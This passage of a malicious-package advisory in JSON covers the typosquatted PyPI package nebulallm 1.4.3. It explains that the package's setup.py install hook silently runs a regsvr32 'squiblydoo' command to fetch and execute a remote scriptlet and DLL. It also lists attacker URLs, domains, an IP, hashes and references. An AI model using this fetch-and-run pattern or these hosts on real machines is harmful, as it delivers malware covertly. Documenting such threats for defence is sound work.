The install hook spawns regsvr32.exe with the squiblydoo LOLBin pattern (`regsvr32 -s -i:<url> scrobj.dll`) to fetch and execute a remote COM scriptlet from https://akinomoreno.pythonanywhere.com/faye on the installer's Windows host. The subprocess is launched with DETACHED_PROCESS and stdin/stdout/stderr redirected to DEVNULL, so the dropper runs silently and produces no output during pip install. The declared package functionality is unrelated to the install-time behavior, consistent with a dropper staged behind a cover-story package.\n\n## Source: kam193 (50e0ed125f08fd7743ccfb40590c24304b4731f6a99b69bc553b5bb8b7e57fc6)\nDuring installation package first downloads a JScript script, which then downloads the next malicious DLL.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-nebulallm\n\n\nReasons (based on the campaign):\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n\n\n - Downloads and executes a remote executable.\n\n\n - Downloads and executes a remote malicious script.\n\n\n - malware\n","affected":[{"package":{"name":"nebulallm","ecosystem":"PyPI"},"versions":["1.4.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"setup.py","sha256":"c7cae1fe38adc475f1b2bc3e308a81b9773dbb9e65e5336d272e9b7d87c47efc","tlsh":"c2f02d57c92d522429e141211813681ecbd24216cb59a4e238be5160bf77132890ad5b"}],"package_integrity":[{"filename":"nebulallm-1.4.3.tar.gz","hashes":{"blake2b_256":"90b40eece45f51b9a018ca703f4ea024636872f5da9f22c210851eef9ee7fba3","md5":"7d8eede362b1b9f5d20c364041d06c90","sha256":"1de0997f6ed752c766abb5caf25486166e2f55190b3810406934d0dc1b74f0ef"}}]}}}],"references":[{"type":"EVIDENCE","url":"https://www.virustotal.com/gui/file/ccdd8b191818222bfbbe20816d7448b0f42745924e122849b2e06c3511a76c7d/detection"},{"type":"EVIDENCE","url":"https://tria.ge/261025-yy5yvshy4v"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/nebulallm"},{"type":"PACKAGE","url":"https://pypi.org/project/nebulallm/1.4.3/"}],"database_specific":{"iocs":{"domains":["akinomoreno.pythonanywhere.com"],"ips":["45.38.20.86"],"urls":["http://akinomoreno.pythonanywhere.com/krat.dll","https://akinomoreno.pythonanywhere.com/faye"]},"malicious-packages-origins":[{"id":"pypi/2026-10-nebulallm/nebulallm","import_time":"2026-10-25T20:40:43.057988821Z","modified_time":"2026-10-25T20:15:01.505195Z","sha256":"50e0ed125f08fd7743ccfb40590c24304b4731f6a99b69bc553b5bb8b7e57fc6","source":"kam193","versions":["1.4.3"]},{"id":"IN-MAL-2026-021766","import_time":"2026-10-26T06:39:41.227551667Z","modified_time":"2026-10-26T06:30:15Z","sha256":"5428d0f2f07674817697574b1993211dfa902bad746d8cd6efc1ad6b1fbbfd90","source":"amazon-inspector","versions":["1.4.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
